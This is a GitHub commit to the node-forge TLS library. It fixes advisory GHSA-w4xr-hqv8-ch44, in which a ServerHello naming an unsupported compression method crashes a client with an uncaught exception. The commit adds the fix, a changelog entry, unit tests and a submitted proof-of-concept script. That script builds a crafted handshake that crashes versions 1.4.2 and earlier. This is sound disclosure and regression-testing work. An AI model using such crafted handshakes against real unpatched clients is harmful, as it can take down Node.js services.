Skip to content

Commit 1d9816d

Browse files
committed
Check the ServerHello compression method.
- [tls] Fail a client handshake with an `illegal_parameter` alert when the ServerHello selects a compression method other than none, instead of throwing an uncaught `Error` at ServerHelloDone. - Address GHSA-w4xr-hqv8-ch44: - GHSA-w4xr-hqv8-ch44 - Add submitted PoC. - Add tests.
1 parent 326a4d0 commit 1d9816d

4 files changed

Lines changed: 209 additions & 0 deletions

File tree

‎CHANGELOG.md‎

Lines changed: 14 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -34,6 +34,18 @@ Forge ChangeLog
3434
- Reported by @manus-pi.
3535
- CVE ID: [CVE-TBD]()
3636
- GHSA ID: [GHSA-6cv4-p8m7-4r25](https://github.com/digitalbazaar/forge/security/advisories/GHSA-6cv4-p8m7-4r25)
37+
- **MODERATE**: TLS client crash on an unsupported ServerHello compression
38+
method.
39+
- A TLS client accepts any compression method in the ServerHello,
40+
although it only offers no compression. An unknown method makes
41+
`process()` throw an uncaught `Error` at ServerHelloDone, before the
42+
server is authenticated. A malicious server, or an on-path attacker, can
43+
terminate a Node.js process that passes socket data to `process()`
44+
without catching exceptions, including through `forge.tls.wrapSocket`.
45+
Servers are not affected.
46+
- Reported by @alienkeric.
47+
- CVE ID: [CVE-TBD]()
48+
- GHSA ID: [GHSA-w4xr-hqv8-ch44](https://github.com/digitalbazaar/forge/security/advisories/GHSA-w4xr-hqv8-ch44)
3749
- **LOW**: Ed25519 signature verification accepts small-order public keys.
3850
- `ed25519.verify()` does not reject public keys of small order, such as
3951
the identity point. Under such a key, a signature with `S = 0` and a
@@ -77,6 +89,8 @@ Forge ChangeLog
7789
- [tls] Ignore handshake messages received by a client without a session
7890
instead of throwing a `TypeError`.
7991
- [http] Trim header and cookie values in linear time.
92+
- [tls] Fail a client handshake with an `illegal_parameter` alert when the
93+
ServerHello selects a compression method other than none.
8094

8195
## 1.4.2 - 2026-10-27
8296

‎lib/tls.js‎

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -905,6 +905,17 @@ tls.parseHelloMessage = function(c, record, length) {
905905

906906
// TODO: handle compression methods
907907
if(client) {
908+
// the ClientHello only offers no compression (RFC 5246 7.4.1.3)
909+
if(msg.compression_method !== tls.CompressionMethod.none) {
910+
return c.error(c, {
911+
message: 'Unsupported compression method.',
912+
send: true,
913+
alert: {
914+
level: tls.Alert.Level.fatal,
915+
description: tls.Alert.Description.illegal_parameter
916+
}
917+
});
918+
}
908919
c.session.compressionMethod = msg.compression_method;
909920
} else {
910921
// no compression

‎tests/pocs/ghsa-w4xr-hqv8-ch44.js‎

Lines changed: 73 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,73 @@
1+
// Security Advisory PoC
2+
//
3+
// https://github.com/digitalbazaar/forge/security/advisories/GHSA-w4xr-hqv8-ch44
4+
//
5+
// @alienkeric
6+
7+
// verify callback, to show no permissive verify option is needed.
8+
var forge = require('../..');
9+
10+
function rec(type, frag) {
11+
var b = forge.util.createBuffer();
12+
b.putByte(type); b.putByte(3); b.putByte(1); b.putInt16(frag.length);
13+
b.putBytes(frag); return b.getBytes();
14+
}
15+
function hs(type, body) {
16+
var b = forge.util.createBuffer();
17+
b.putByte(type);
18+
b.putInt24(typeof body.length === 'function' ? body.length() : body.length);
19+
b.putBytes(body); return rec(22, b.getBytes());
20+
}
21+
22+
var caKeys = forge.pki.rsa.generateKeyPair(1024);
23+
var srvKeys = forge.pki.rsa.generateKeyPair(1024);
24+
var caName = [{name: 'commonName', value: 'PoC CA'}];
25+
var srvName = [{name: 'commonName', value: 'legit.example'}];
26+
27+
function mkCert(keys, subj, issuer, ca) {
28+
var c = forge.pki.createCertificate();
29+
c.publicKey = keys.publicKey; c.serialNumber = ca ? '01' : '02';
30+
c.validity.notBefore = new Date('2020-01-01T00:00:00Z');
31+
c.validity.notAfter = new Date('2030-01-01T00:00:00Z');
32+
c.setSubject(subj); c.setIssuer(issuer);
33+
c.setExtensions(ca ?
34+
[{name: 'basicConstraints', cA: true, critical: true},
35+
{name: 'keyUsage', keyCertSign: true, critical: true}] :
36+
[{name: 'basicConstraints', cA: false, critical: true}]);
37+
return c;
38+
}
39+
var ca = mkCert(caKeys, caName, caName, true);
40+
ca.sign(caKeys.privateKey, forge.md.sha256.create());
41+
var srv = mkCert(srvKeys, srvName, caName, false);
42+
ca = forge.pki.certificateFromPem(forge.pki.certificateToPem(ca));
43+
srv.sign(caKeys.privateKey, forge.md.sha256.create());
44+
45+
var der = forge.asn1.toDer(forge.pki.certificateToAsn1(srv)).getBytes();
46+
var sh = forge.util.createBuffer();
47+
sh.putByte(3); sh.putByte(1);
48+
sh.putBytes(forge.random.getBytes(32));
49+
sh.putByte(0);
50+
sh.putByte(0x00); sh.putByte(0x2f); // TLS_RSA_WITH_AES_128_CBC_SHA
51+
sh.putByte(0xff); // bogus compression_method
52+
var certMsg = forge.util.createBuffer();
53+
certMsg.putInt24(3 + der.length); certMsg.putInt24(der.length); certMsg.putBytes(der);
54+
var data = hs(2, sh.getBytes()) + hs(11, certMsg.getBytes()) + hs(14, '');
55+
56+
var client = forge.tls.createConnection({
57+
server: false,
58+
caStore: [ca],
59+
tlsDataReady: function() {}, dataReady: function() {},
60+
closed: function() {},
61+
error: function(c, e) { console.log('tls error callback:', e.message); }
62+
});
63+
client.handshake();
64+
try {
65+
client.process(data);
66+
console.log('no exception');
67+
} catch(e) {
68+
console.log('UNCAUGHT:', e.constructor.name + ': ' + e.message);
69+
}
70+
71+
// <= 1.4.2: UNCAUGHT: Error: Unsupported compression algorithm.
72+
// 1.4.3: tls error callback: Unsupported compression method.
73+
// no exception

‎tests/unit/tls.js‎

Lines changed: 111 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -492,6 +492,117 @@ require('../../lib/util');
492492
});
493493
});
494494

495+
describe('ServerHello compression method', function() {
496+
// see GHSA-w4xr-hqv8-ch44
497+
// set the compression method of the ServerHello in plaintext TLS
498+
// records (ServerHello body: version, random, session_id,
499+
// cipher_suite, compression_method)
500+
function _setCompressionMethod(bytes, method) {
501+
var b = forge.util.createBuffer(bytes);
502+
var out = '';
503+
while(b.length() > 0) {
504+
var header = b.getBytes(3);
505+
var fragment = b.getBytes(b.getInt16());
506+
if(header.charCodeAt(0) === forge.tls.ContentType.handshake &&
507+
fragment.charCodeAt(0) === forge.tls.HandshakeType.server_hello) {
508+
var offset = 4 + 2 + 32;
509+
offset += 1 + fragment.charCodeAt(offset) + 2;
510+
fragment = fragment.substr(0, offset) +
511+
String.fromCharCode(method) + fragment.substr(offset + 1);
512+
}
513+
out += header + forge.util.int32ToBytes(fragment.length).substr(2) +
514+
fragment;
515+
}
516+
return out;
517+
}
518+
519+
var keys = forge.pki.rsa.generateKeyPair(512);
520+
var cert = forge.pki.createCertificate();
521+
cert.publicKey = keys.publicKey;
522+
cert.serialNumber = '01';
523+
cert.validity.notBefore = new Date();
524+
cert.validity.notAfter = new Date();
525+
cert.validity.notAfter.setFullYear(
526+
cert.validity.notBefore.getFullYear() + 1);
527+
cert.setSubject([{name: 'commonName', value: 'server'}]);
528+
cert.setIssuer([{name: 'commonName', value: 'server'}]);
529+
cert.sign(keys.privateKey);
530+
var serverCert = forge.pki.certificateToPem(cert);
531+
var serverKey = forge.pki.privateKeyToPem(keys.privateKey);
532+
533+
function _handshake(method) {
534+
var end = {};
535+
var log = {connected: false, errors: []};
536+
var first = true;
537+
var clientFlights = 0;
538+
end.client = forge.tls.createConnection({
539+
server: false,
540+
caStore: [serverCert],
541+
verify: function(c, verified) {
542+
return verified;
543+
},
544+
connected: function() {
545+
log.connected = true;
546+
},
547+
tlsDataReady: function(c) {
548+
var bytes = c.tlsData.getBytes();
549+
// when the handshake should fail, only send the ClientHello, so
550+
// the server's reaction to the client's alert doesn't reach the
551+
// client while it is still processing the ServerHello
552+
if(clientFlights++ === 0 ||
553+
method === forge.tls.CompressionMethod.none) {
554+
end.server.process(bytes);
555+
}
556+
},
557+
dataReady: function() {},
558+
closed: function() {},
559+
error: function(c, error) {
560+
log.errors.push(error.message);
561+
}
562+
});
563+
end.server = forge.tls.createConnection({
564+
server: true,
565+
getCertificate: function() {
566+
return serverCert;
567+
},
568+
getPrivateKey: function() {
569+
return serverKey;
570+
},
571+
connected: function() {},
572+
tlsDataReady: function(c) {
573+
var bytes = c.tlsData.getBytes();
574+
if(first) {
575+
// change the server's first flight
576+
first = false;
577+
bytes = _setCompressionMethod(bytes, method);
578+
}
579+
end.client.process(bytes);
580+
},
581+
dataReady: function() {},
582+
closed: function() {},
583+
error: function() {}
584+
});
585+
end.client.handshake();
586+
log.fail = end.client.fail;
587+
return log;
588+
}
589+
590+
it('should connect with no compression', function() {
591+
var log = _handshake(forge.tls.CompressionMethod.none);
592+
ASSERT.deepEqual(log.errors, []);
593+
ASSERT.equal(log.connected, true);
594+
});
595+
596+
[forge.tls.CompressionMethod.deflate, 0xff].forEach(function(method) {
597+
it('should fail on compression method ' + method, function() {
598+
var log = _handshake(method);
599+
ASSERT.deepEqual(log.errors, ['Unsupported compression method.']);
600+
ASSERT.equal(log.fail, true);
601+
ASSERT.equal(log.connected, false);
602+
});
603+
});
604+
});
605+
495606
describe('heartbeat', function() {
496607
// heartbeat_request with payload 'abc'
497608
var REQUEST = forge.util.hexToBytes('1803010006010003616263');

0 commit comments

Comments
 (0)